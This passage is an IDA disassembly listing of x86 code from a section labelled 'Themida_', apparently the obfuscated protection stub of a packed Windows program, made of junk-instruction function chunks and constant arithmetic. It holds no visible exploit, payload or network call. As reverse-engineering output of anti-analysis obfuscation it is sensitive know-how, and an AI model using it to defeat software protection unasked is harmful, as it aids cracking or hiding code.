; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_5690BD:				; CODE XREF: sub_56AB5E-68B5j
		xchg	esi, [esp+8+var_8]
		jmp	loc_562A80
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C83E


loc_5690C5:				; CODE XREF: sub_56C83E+1Fj
		shr	ecx, 0Ah
		push	0EF0h
		mov	[esp+4+var_4], ebx
		jmp	loc_56F8D3
; END OF FUNCTION CHUNK	FOR sub_56C83E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_5690D5:				; CODE XREF: sub_570732-B105j
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		jmp	loc_56B8EB
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_5690E0:				; CODE XREF: sub_569193-4ED1j
		sub	ebp, eax
		pop	eax
		jmp	loc_575013
; END OF FUNCTION CHUNK	FOR sub_569193

; =============== S U B	R O U T	I N E =======================================



sub_5690E8	proc near		; DATA XREF: Themida_:0055FDE4o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00562E16 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00563B3E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00563CF4 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00564A13 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00565E7D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005664ED SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00567DB1 SIZE 0000004A BYTES
; FUNCTION CHUNK AT 005689D1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569A96 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056A368 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0056CFEA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056EB70 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056F76D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056FFD3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00570240 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00573342 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0057386C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00574B70 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00574E57 SIZE 00000037 BYTES

		mov	cx, [esp+0]
		push	0D47h
		mov	[esp+4+var_4], edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		push	3F69h
		mov	[esp+8+var_8], ecx
		push	eax
		mov	eax, 24F361CAh
		jmp	loc_56CFEA
sub_5690E8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566117


loc_569112:				; CODE XREF: sub_566117+7C87j
		push	esp
		pop	ebx
		add	ebx, 4
		push	ecx
		mov	ecx, 4F2B4CCDh
		jmp	loc_5660C1
; END OF FUNCTION CHUNK	FOR sub_566117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566AF9


loc_569125:				; CODE XREF: sub_566AF9+54F5j
		push	edx
		neg	[esp+0Ch+var_C]
		jmp	loc_561810
; END OF FUNCTION CHUNK	FOR sub_566AF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567049


loc_56912E:				; CODE XREF: sub_567049-2BD6j
		add	ebp, 880FC670h
		mov	edx, ebp
		pop	ebp
		add	ebx, edx
		jmp	loc_5713EE
; END OF FUNCTION CHUNK	FOR sub_567049
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56959A


loc_56913E:				; CODE XREF: sub_56959A+3E10j
		pop	esi
		jmp	loc_571703
; END OF FUNCTION CHUNK	FOR sub_56959A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_569144:				; CODE XREF: sub_560844+4723j
		push	esi
		mov	esi, 40474682h
		jmp	sub_56FD97
; END OF FUNCTION CHUNK	FOR sub_560844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574AF3


loc_56914F:				; CODE XREF: sub_574AF3-12932j
		shl	dword ptr [esp+0], cl
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_574AF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562954


loc_569157:				; CODE XREF: sub_562954+9j
		neg	edi
		sub	edi, 4E544DF3h
		add	edi, 1
		shl	edi, 3
		xor	edi, 0F4C7348Ch
		sub	edx, edi
		pop	edi
		jmp	loc_572F41
; END OF FUNCTION CHUNK	FOR sub_562954
; ---------------------------------------------------------------------------


loc_569173:				; CODE XREF: Themida_:0056384Bj
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_568ED5
; ---------------------------------------------------------------------------


loc_56917E:				; CODE XREF: Themida_:005630B0j
		push	dword ptr [esp]
		jmp	loc_569797

; =============== S U B	R O U T	I N E =======================================



sub_569186	proc near		; DATA XREF: Themida_:0055FE84o

var_4		= dword	ptr -4

		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	eax
		push	eax
		jmp	sub_56FD6F
sub_569186	endp


; =============== S U B	R O U T	I N E =======================================



sub_569193	proc near		; CODE XREF: sub_564D26+D521j
					; sub_564D26+D9C0j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560609 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005616AD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005636B3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005638EC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005642B6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00564582 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00565C6B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056646D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00566B71 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005679B3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00567E80 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005690E0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A35D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056ABFA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056AFB5 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056BEA5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056BFBE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056E4C7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056E6D3 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 0056E916 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056ECA9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056F1E1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F712 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00570352 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005708A7 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00570C2D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00574185 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 005749C3 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005749FD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00575013 SIZE 0000000C BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	esp
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		add	ebx, 4
		jmp	loc_56E4C7
sub_569193	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56651E


loc_5691AB:				; CODE XREF: sub_56651E+1123j
		pop	edx
		shl	ebp, 7
		jmp	sub_565632
; END OF FUNCTION CHUNK	FOR sub_56651E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_5691B4:				; CODE XREF: sub_56AB5E+11j
		sub	dh, al
		push	ax
		mov	al, 90h
		add	dh, al
		pop	ax
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 39FF602Ah
		push	ebp
		mov	ebp, 1CD06912h
		sub	ecx, ebp
		pop	ebp
		jmp	loc_562BFE
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B577


loc_5691DC:				; CODE XREF: sub_56B577-43A1j
		add	ebp, 6BE449Bh
		jmp	loc_56E621
; END OF FUNCTION CHUNK	FOR sub_56B577
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D855


loc_5691E7:				; CODE XREF: sub_56D855-9E42j
		add	ecx, 4
		xor	ecx, [esp+10h+var_10]
		xor	[esp+10h+var_10], ecx
		jmp	loc_5648BA
; END OF FUNCTION CHUNK	FOR sub_56D855
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_5691F5:				; CODE XREF: sub_56AEF2+A30Ej
		mov	esp, [esp-8+arg_4]
		add	esp, 4
		movzx	ax, byte ptr [eax]
		push	3A53h
		mov	[esp-8+arg_4], ebx
		sub	esp, 4
		mov	[esp-4+arg_0], esp
		jmp	loc_5693EC
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561F05


loc_569215:				; CODE XREF: sub_561F05+60ACj
		mov	[esp+8+var_8], esi
		push	[esp+8+var_4]
		pop	esi
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		bswap	eax
		jmp	loc_561D6B
; END OF FUNCTION CHUNK	FOR sub_561F05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_56922A:				; CODE XREF: sub_574656-51A8j
		sub	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], eax
		push	8155DC7h
		pop	eax
		push	edi
		mov	edi, 413342B2h
		jmp	loc_571294
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_569247:				; CODE XREF: sub_574A21-120F5j
		mov	edx, 2951290Eh
		jmp	loc_56DB1A
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56749A


loc_569251:				; CODE XREF: sub_56749A+3374j
		add	esi, 4
		jmp	loc_56017D
; END OF FUNCTION CHUNK	FOR sub_56749A

; =============== S U B	R O U T	I N E =======================================



sub_56925C	proc near		; CODE XREF: sub_561541+D3AFj

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 005727F9 SIZE 0000000C BYTES

		push	ebp
		mov	ebp, 4
		push	ebp
		add	[esp+8+var_8], 287E09D3h
		pop	edi
		jmp	loc_5727F9
sub_56925C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5722C8


loc_569270:				; CODE XREF: sub_5722C8-AD81j
		add	esp, 4
		movsx	ecx, ax
		push	5144h
		jmp	loc_573CBB
; END OF FUNCTION CHUNK	FOR sub_5722C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_569280:				; CODE XREF: sub_574A21-6EF4j
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		xor	esi, 2C3E0101h
		add	eax, esi
		push	[esp+8+var_8]
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_567FD8
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5634AF


loc_5692A3:				; CODE XREF: sub_5634AF+11F42j
		neg	eax
		add	eax, 0FFFFFFFFh
		jmp	loc_571175
; END OF FUNCTION CHUNK	FOR sub_5634AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563FA2


loc_5692AF:				; CODE XREF: sub_563FA2+108A6j
		mov	ebx, 39325933h
		xor	ebx, 350477E4h
		jmp	loc_5672C1
; END OF FUNCTION CHUNK	FOR sub_563FA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574949


loc_5692BF:				; CODE XREF: sub_574949-1430Bj
		pop	ecx
		push	edi
		jmp	loc_571E6E
; END OF FUNCTION CHUNK	FOR sub_574949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C0A


loc_5692C6:				; CODE XREF: sub_571C0A-EC54j
		push	55BBh
		mov	[esp+4+var_4], eax
		jmp	loc_5605CD
; END OF FUNCTION CHUNK	FOR sub_571C0A

; =============== S U B	R O U T	I N E =======================================



sub_5692D3	proc near		; DATA XREF: Themida_:0055FE78o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00565F4F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00567E98 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00567F36 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00569024 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0056C13E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056E1F0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00572349 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00572552 SIZE 00000009 BYTES

		mov	ax, [esp+0]
		push	ecx
		sub	esp, 4
		mov	[esp+8+var_8], esp
		push	2205h
		jmp	loc_56C13E
sub_5692D3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_5692EB:				; CODE XREF: sub_56241E+A254j
		xor	si, 0C52h
		dec	si
		push	dx
		mov	dx, 0A1h
		add	si, dx
		pop	dx
		xor	si, 7B46h
		add	ax, si
		pop	esi
		mov	di, word ptr [esp+8+var_8]
		add	esp, 2
		sub	ax, dx
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		jmp	loc_57394F
; END OF FUNCTION CHUNK	FOR sub_56241E

; =============== S U B	R O U T	I N E =======================================



sub_56931E	proc near		; DATA XREF: Themida_:0055FDA8o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp+0], ax
		pushf
		jmp	loc_55FF9F
sub_56931E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56932E:				; CODE XREF: sub_563A7F-3324j
		push	17C5720Ch
		push	[esp+0Ch+var_C]
		pop	esi
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		sub	esp, 4
		mov	[esp+14h+var_14], eax
		mov	eax, 5EEF4D95h
		or	esi, eax
		pop	eax
		push	edx
		jmp	loc_56EF2A
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56638C


loc_569366:				; CODE XREF: sub_56638C-4CE4j
		pop	ebp
		xchg	esi, [esp+8+var_8]
		jmp	loc_5729CA
; END OF FUNCTION CHUNK	FOR sub_56638C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56936F:				; CODE XREF: sub_561418+11329j
		mov	eax, 4
		add	ecx, 0D477259h
		push	edx
		mov	edx, 6EDE47E8h
		jmp	loc_562160
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566C83


loc_569385:				; CODE XREF: sub_566C83+1Aj
		pop	ebx
		mov	edi, [esp-4+arg_0]
		jmp	loc_571011
; END OF FUNCTION CHUNK	FOR sub_566C83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575420


loc_56938E:				; CODE XREF: sub_575420-1278Dj
		push	small 0
		sub	byte ptr [esp+0Ch+var_C], cl
		jmp	loc_569D4A
; END OF FUNCTION CHUNK	FOR sub_575420
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A75


loc_56939A:				; CODE XREF: sub_569A75-236Aj
		shl	dh, 1
		jmp	loc_56FFB0
; END OF FUNCTION CHUNK	FOR sub_569A75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B1DC


loc_5693A1:				; CODE XREF: sub_56B1DC-477Cj
		neg	ebx
		jmp	loc_56033F
; END OF FUNCTION CHUNK	FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C38F


loc_5693A8:				; CODE XREF: sub_56C38F+630Dj
		xor	ecx, 0E334007h
		and	ecx, 6F5494Eh
		sub	ecx, 0CABFC8D2h
		mov	edi, ecx
		pop	ecx
		mov	ebp, edi
		jmp	loc_5750D2
; END OF FUNCTION CHUNK	FOR sub_56C38F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_5693C4:				; CODE XREF: sub_56616D+DBB7j
		sub	ecx, edx
		add	ecx, 7FF950FDh
		jmp	loc_56E30A
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CDD


loc_5693D1:				; CODE XREF: sub_574CDD-108E3j
		sub	ecx, 751A62D7h
		add	ecx, 65EB746Eh
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	[esp+4+var_4]
		jmp	loc_56362B
; END OF FUNCTION CHUNK	FOR sub_574CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_5693EC:				; CODE XREF: sub_56AEF2-1CE2j
		add	[esp-4+arg_0], 4
		mov	ebx, [esp-4+arg_0]
		push	ebp
		mov	ebp, esp
		jmp	loc_574481
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------


loc_5693FB:				; CODE XREF: Themida_:0056A079j
		pop	eax
		not	eax
		sub	eax, 8044B7F1h
		jmp	loc_56CDAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F3B2


loc_569408:				; CODE XREF: sub_56F3B2-2A5Aj
		sub	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edi
		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		jmp	loc_56CE2A
; END OF FUNCTION CHUNK	FOR sub_56F3B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_569424:				; CODE XREF: sub_56E126-DD54j
		xor	ebx, 0EA41F955h
		xor	esi, ebx
		pop	ebx
		mov	ecx, esi
		pop	esi
		add	ecx, 1
		jmp	loc_568D11
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_569438:				; CODE XREF: sub_574F16-F757j
		mov	ah, dl
		mov	cl, ah
		mov	eax, [esp+10h+var_12+2]
		jmp	loc_56D4FB
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D359


loc_569444:				; CODE XREF: sub_56D359-3900j
		xor	eax, [esp+8+var_8]
		pop	esp
		xor	[esp+4+var_4], eax
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56D359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F1DB


loc_569450:				; CODE XREF: sub_56F1DB-A4C9j
		mov	edx, 7FC53C21h
		dec	edx
		jmp	loc_56C934
; END OF FUNCTION CHUNK	FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5606E3


loc_56945B:				; CODE XREF: sub_5606E3+595Ej
		pop	ebp
		add	esi, 1FAF11D8h
		jmp	loc_565E83
; END OF FUNCTION CHUNK	FOR sub_5606E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_569467:				; CODE XREF: sub_5685B2+C033j
		pop	esp
		mov	[esp-10h+arg_C], ebx
		push	2E43h
		mov	[esp-0Ch+arg_8], ebp
		mov	ebp, eax
		push	ebp
		mov	ebx, [esp-8+arg_4]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-4+arg_0]
		pop	esp
		push	[esp-8+arg_4]
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		sub	esp, 4
		mov	[esp-4+arg_0], ebp
		push	esp
		mov	ebp, [esp+0]
		add	esp, 4
		add	ebp, 4
		push	ecx
		jmp	loc_562C78
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------


loc_5694B4:				; CODE XREF: Themida_:00568862j
		mov	[esp], esi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_571A33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_5694CA:				; CODE XREF: sub_56102D+11309j
		cmp	ecx, eax
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56102D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56637E


loc_5694D2:				; CODE XREF: sub_56637E+405Fj
		sub	eax, 7D24F26Eh
		sub	ebx, 4D165E73h
		sub	ebx, eax
		add	ebx, 4D165E73h
		jmp	loc_56737B
; END OF FUNCTION CHUNK	FOR sub_56637E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_5694EA:				; CODE XREF: sub_561418+E931j
		add	ecx, 332B3CCAh
		pop	edx
		xor	ecx, [esp+14h+var_14]
		jmp	loc_56C89C
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------


loc_5694F9:				; CODE XREF: Themida_:005626D1j
		push	767F5334h
		jmp	loc_563D27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_569503:				; CODE XREF: sub_56B06D-7748j
		push	54F0h
		mov	[esp+14h+var_14], ecx
		mov	ecx, 6C435CB0h
		xor	edi, ecx
		pop	ecx
		and	edi, 64496817h
		push	eax
		push	30195160h
		pop	eax
		add	edi, 5FC62671h
		sub	edi, eax
		sub	edi, 5FC62671h
		pop	eax
		sub	ecx, edi
		pop	edi
		pop	ebx
		sub	esp, 4
		jmp	loc_568E4D
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F1DB


loc_56953E:				; CODE XREF: sub_56F1DB+C6Dj
		pop	ebp
		push	ebx
		mov	ebx, 64EF2F4Dh
		sub	esi, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		add	esi, 30373CD8h
		add	esi, ebx
		jmp	loc_564D11
; END OF FUNCTION CHUNK	FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568646


loc_56955D:				; CODE XREF: sub_568646-7E62j
		inc	cl
		add	cl, 66h
		push	eax
		jmp	loc_57535B
; END OF FUNCTION CHUNK	FOR sub_568646
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_569568:				; CODE XREF: sub_5678CB+BCADj
		pop	edx
		add	esp, 4
		push	esi
		jmp	loc_574727
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5604FE


loc_569572:				; CODE XREF: sub_5604FE+F9BCj
		pop	ecx
		pop	[esp+8+var_8]
		pop	esp
		jmp	loc_573659
; END OF FUNCTION CHUNK	FOR sub_5604FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA44


loc_56957C:				; CODE XREF: sub_56FA44-2C9Dj
		add	ecx, 48730547h
		jmp	loc_57344A
; END OF FUNCTION CHUNK	FOR sub_56FA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_569587:				; CODE XREF: sub_56616D+E5DFj
		mov	[esp-10h+arg_C], edx
		mov	edx, 45610ACBh
		sub	esp, 4
		mov	[esp-0Ch+arg_8], edx
		jmp	loc_573D0E
; END OF FUNCTION CHUNK	FOR sub_56616D

; =============== S U B	R O U T	I N E =======================================



sub_56959A	proc near		; CODE XREF: sub_56306E+2E0Aj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00560D67 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056913E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056AAB6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056C241 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056D39E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00571703 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00572B7C SIZE 00000012 BYTES

		push	ebx
		push	edx
		mov	edx, 695E1B4Bh
		mov	ebx, 0DBD6597Ah
		sub	ebx, 2C007A1Dh
		add	ebx, edx
		push	7C86h
		jmp	loc_560D67
sub_56959A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566AF9


loc_5695B8:				; CODE XREF: sub_566AF9+8AA8j
		xor	edx, 50FE3E58h
		push	eax
		jmp	loc_564BA3
; END OF FUNCTION CHUNK	FOR sub_566AF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_5695C4:				; CODE XREF: sub_561027+9C94j
		add	esp, 4
		mov	edx, [esp+8+var_8]
		jmp	loc_560DF8
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D69D


loc_5695CF:				; CODE XREF: sub_56D69D+409Bj
		add	eax, 64A422D4h
		add	eax, edi
		push	ecx
		push	ebx
		jmp	loc_563C11
; END OF FUNCTION CHUNK	FOR sub_56D69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563FA2


loc_5695DD:				; CODE XREF: sub_563FA2+10E1Aj
		mov	ecx, esp
		jmp	loc_574846
; END OF FUNCTION CHUNK	FOR sub_563FA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_5695E4:				; CODE XREF: sub_564D26+D3F5j
		shl	ebx, 7
		jmp	loc_56BD93
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5604FE


loc_5695EC:				; CODE XREF: sub_5604FE+DE2Dj
		add	edi, ebp
		sub	edi, 59D750FEh
		pop	ebp
		push	ecx
		mov	ecx, 6E377CBFh
		add	eax, ecx
		pop	ecx
		add	eax, edi
		sub	eax, 6E377CBFh
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	3814h
		jmp	loc_56FB48
; END OF FUNCTION CHUNK	FOR sub_5604FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570B3C


loc_569623:				; CODE XREF: sub_570B3C+1Ej
		xor	ebx, 248B5AE4h
		add	ebx, 4D82BDD1h
		add	edi, ebx
		pop	ebx
		add	eax, edi
		jmp	loc_5719D5
; END OF FUNCTION CHUNK	FOR sub_570B3C
; ---------------------------------------------------------------------------


loc_569639:				; CODE XREF: Themida_:00571CD6j
		xor	esi, 47D73E2Ch
		and	esi, 656B6B01h
		sub	esi, 2D4E0C79h
		sub	esi, 29ED6F1Eh
		neg	esi
		jmp	loc_574206
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572141


loc_569658:				; CODE XREF: sub_572141-15C2j
		push	eax
		mov	eax, 535B290Ah
		jmp	loc_56437F
; END OF FUNCTION CHUNK	FOR sub_572141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5653AD


loc_569663:				; CODE XREF: sub_5653AD+13CFj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56B7AE
; END OF FUNCTION CHUNK	FOR sub_5653AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D359


loc_569670:				; CODE XREF: sub_56D359+74Bj
		push	2AF6h
		mov	[esp+8+var_8], eax
		push	1501h
		mov	[esp+0Ch+var_C], esp
		push	edx
		push	4
		pop	edx
		jmp	loc_5723B1
; END OF FUNCTION CHUNK	FOR sub_56D359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD6F


loc_56968C:				; CODE XREF: sub_56FD6F-E80Ej
		pop	[esp+4+var_4]
		jmp	loc_562DD0
; END OF FUNCTION CHUNK	FOR sub_56FD6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_569694:				; CODE XREF: sub_564D26+7103j
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp+24h+var_24]
		pop	esp
		push	edx
		jmp	loc_56FBB4
; END OF FUNCTION CHUNK	FOR sub_564D26

; =============== S U B	R O U T	I N E =======================================



sub_5696A1	proc near		; CODE XREF: sub_56F1F0-D0F9j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005700B2 SIZE 0000001E BYTES

		sub	esp, 4
